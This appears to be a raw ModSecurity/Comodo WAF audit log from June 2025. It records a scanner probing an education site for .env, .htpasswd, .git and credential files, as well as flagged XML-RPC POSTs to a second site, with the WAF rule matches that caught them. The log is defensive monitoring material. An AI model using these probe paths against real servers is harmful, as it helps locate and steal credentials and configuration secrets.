Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8ad413d-Z-- --d3224317-A-- [16/Jun/2025:04:02:01.833071 +0530] aE9J4X2GhYywD7zZgx4AwwAAAAM 185.177.72.210 59582 127.0.0.1 7081 --d3224317-B-- GET /.environment HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3224317-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=064618aadd6a84d3be30b0ca475d73e11750026721; expires=Sun, 15 Jun 2025 23:32:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3224317-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.environment"] [unique_id "aE9J4X2GhYywD7zZgx4AwwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026721170308 662837 (- - -) Stopwatch2: 1750026721170308 662837; combined=1894, p1=377, p2=1408, p3=0, p4=0, p5=109, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3224317-Z-- --b1172b15-A-- [16/Jun/2025:04:02:03.714351 +0530] aE9J4vNXjUHq-Wm7C_8UwwAAAAQ 128.199.112.101 59642 127.0.0.1 7081 --b1172b15-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b1172b15-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b1172b15-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9J4vNXjUHq-Wm7C_8UwwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026722726756 987652 (- - -) Stopwatch2: 1750026722726756 987652; combined=2316, p1=379, p2=1556, p3=42, p4=63, p5=174, sr=96, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b1172b15-Z-- --64fa7401-A-- [16/Jun/2025:04:02:12.725723 +0530] aE9J7MalTF-TysO2fMN-ZwAAAAE 185.177.72.210 42652 127.0.0.1 7081 --64fa7401-B-- GET /1.htpasswd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64fa7401-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7320fa81789fd8af74cbe58e9822489a1750026732; expires=Sun, 15 Jun 2025 23:32:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64fa7401-H-- Message: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/1.htpasswd"] [unique_id "aE9J7MalTF-TysO2fMN-ZwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026732008002 717782 (- - -) Stopwatch2: 1750026732008002 717782; combined=1733, p1=431, p2=1205, p3=0, p4=0, p5=96, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64fa7401-Z-- --bcead231-A-- [16/Jun/2025:04:02:19.905412 +0530] aE9J84l8S04UZ4l67-nk3gAAAAk 185.177.72.210 43618 127.0.0.1 7081 --bcead231-B-- GET /:8443/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bcead231-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fb73c62a3a7f8607b3ac6aebc6e496691750026739; expires=Sun, 15 Jun 2025 23:32:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bcead231-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env~"] [unique_id "aE9J84l8S04UZ4l67-nk3gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026739151478 753997 (- - -) Stopwatch2: 1750026739151478 753997; combined=1961, p1=355, p2=1504, p3=0, p4=0, p5=101, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bcead231-Z-- --7212b31d-A-- [16/Jun/2025:04:02:23.937685 +0530] aE9J94l8S04UZ4l67-nk4AAAAAk 185.177.72.210 53824 127.0.0.1 7081 --7212b31d-B-- GET /storage/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7212b31d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4d46c2cc2e0e9b4e6c94ffd9e161e5071750026743; expires=Sun, 15 Jun 2025 23:32:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7212b31d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/storage/.env.local"] [unique_id "aE9J94l8S04UZ4l67-nk4AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026743239509 698238 (- - -) Stopwatch2: 1750026743239509 698238; combined=2437, p1=503, p2=1830, p3=0, p4=0, p5=104, sr=133, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7212b31d-Z-- --c1ca8f76-A-- [16/Jun/2025:04:02:24.939652 +0530] aE9J-FR6EeXjkGzEkblregAAAAs 185.177.72.210 53908 127.0.0.1 7081 --c1ca8f76-B-- GET /.git/refs/heads/master HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1ca8f76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db5e2ff07ee4f96fa97a57b6a6d29ed01750026744; expires=Sun, 15 Jun 2025 23:32:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1ca8f76-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/heads/master"] [unique_id "aE9J-FR6EeXjkGzEkblregAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026744277693 662060 (- - -) Stopwatch2: 1750026744277693 662060; combined=1799, p1=423, p2=1279, p3=0, p4=0, p5=96, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1ca8f76-Z-- --eb5e605d-A-- [16/Jun/2025:04:02:28.392434 +0530] aE9J-4l8S04UZ4l67-nk4gAAAAk 185.177.72.210 54124 127.0.0.1 7081 --eb5e605d-B-- GET /:9000/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb5e605d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a539a62a60df1b513bc8e802d0aa5e801750026748; expires=Sun, 15 Jun 2025 23:32:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb5e605d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/api/.env.staging"] [unique_id "aE9J-4l8S04UZ4l67-nk4gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026747719018 673480 (- - -) Stopwatch2: 1750026747719018 673480; combined=1727, p1=366, p2=1266, p3=0, p4=0, p5=95, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb5e605d-Z-- --03400d10-A-- [16/Jun/2025:04:02:30.400873 +0530] aE9J_UNwpNEMJppxC49YfAAAAAI 185.177.72.210 40918 127.0.0.1 7081 --03400d10-B-- GET /dotfiles/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03400d10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e03816ddf78dbb8bd03fe4d3e3d9cf911750026750; expires=Sun, 15 Jun 2025 23:32:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03400d10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dotfiles/.env"] [unique_id "aE9J_UNwpNEMJppxC49YfAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026749717020 683914 (- - -) Stopwatch2: 1750026749717020 683914; combined=2075, p1=400, p2=1584, p3=0, p4=0, p5=91, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03400d10-Z-- --882b2958-A-- [16/Jun/2025:04:02:33.473676 +0530] aE9KAB-kH31pk4mNbsVFjwAAAAo 185.177.72.210 41060 127.0.0.1 7081 --882b2958-B-- GET /basic-network/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --882b2958-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d2c78141941c456124dd4585fb6d31471750026753; expires=Sun, 15 Jun 2025 23:32:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --882b2958-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/basic-network/.env"] [unique_id "aE9KAB-kH31pk4mNbsVFjwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026752840045 633717 (- - -) Stopwatch2: 1750026752840045 633717; combined=2021, p1=436, p2=1483, p3=0, p4=0, p5=101, sr=145, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --882b2958-Z-- --b373d85c-A-- [16/Jun/2025:04:02:38.538077 +0530] aE9KBR-kH31pk4mNbsVFkQAAAAo 185.177.72.210 41266 127.0.0.1 7081 --b373d85c-B-- GET /:5601/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b373d85c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73e2f49478ff76cbb9b9113396b5fb401750026758; expires=Sun, 15 Jun 2025 23:32:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b373d85c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.suspected"] [unique_id "aE9KBR-kH31pk4mNbsVFkQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026757847600 690539 (- - -) Stopwatch2: 1750026757847600 690539; combined=1876, p1=382, p2=1393, p3=0, p4=0, p5=100, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b373d85c-Z-- --a2822d7c-A-- [16/Jun/2025:04:02:41.588126 +0530] aE9KCBAGYpjnkyifC9Ym5wAAAAU 185.177.72.210 58362 127.0.0.1 7081 --a2822d7c-B-- GET /database_credentials.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a2822d7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba5ebea5cb4c71062f7169dbc52c7c9b1750026761; expires=Sun, 15 Jun 2025 23:32:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a2822d7c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/database_credentials.inc"] [unique_id "aE9KCBAGYpjnkyifC9Ym5wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026760937523 650691 (- - -) Stopwatch2: 1750026760937523 650691; combined=1848, p1=323, p2=1430, p3=0, p4=0, p5=94, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2822d7c-Z-- --8facda5e-A-- [16/Jun/2025:04:03:03.114492 +0530] aE9KHorLgrklqy57Kk2i2wAAAAg 185.177.72.210 59502 127.0.0.1 7081 --8facda5e-B-- GET /export/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8facda5e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=294e21894f37fc4452396d8222605c061750026782; expires=Sun, 15 Jun 2025 23:33:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8facda5e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/export/.env"] [unique_id "aE9KHorLgrklqy57Kk2i2wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026782454934 659651 (- - -) Stopwatch2: 1750026782454934 659651; combined=1979, p1=403, p2=1437, p3=0, p4=0, p5=138, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8facda5e-Z-- --73165d64-A-- [16/Jun/2025:04:03:04.058504 +0530] aE9KH1xTdrwJSUMoZvGxHQAAAAc 128.199.112.101 59542 127.0.0.1 7081 --73165d64-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --73165d64-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --73165d64-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9KH1xTdrwJSUMoZvGxHQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026783108838 949732 (- - -) Stopwatch2: 1750026783108838 949732; combined=3053, p1=502, p2=2138, p3=45, p4=64, p5=188, sr=135, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73165d64-Z-- --f7ff1354-A-- [16/Jun/2025:04:03:12.318331 +0530] aE9KJ_NXjUHq-Wm7C_8U7QAAAAQ 185.177.72.210 46544 127.0.0.1 7081 --f7ff1354-B-- GET /:5000/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f7ff1354-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbb91098d391dac6f462597189fccac21750026792; expires=Sun, 15 Jun 2025 23:33:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f7ff1354-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] 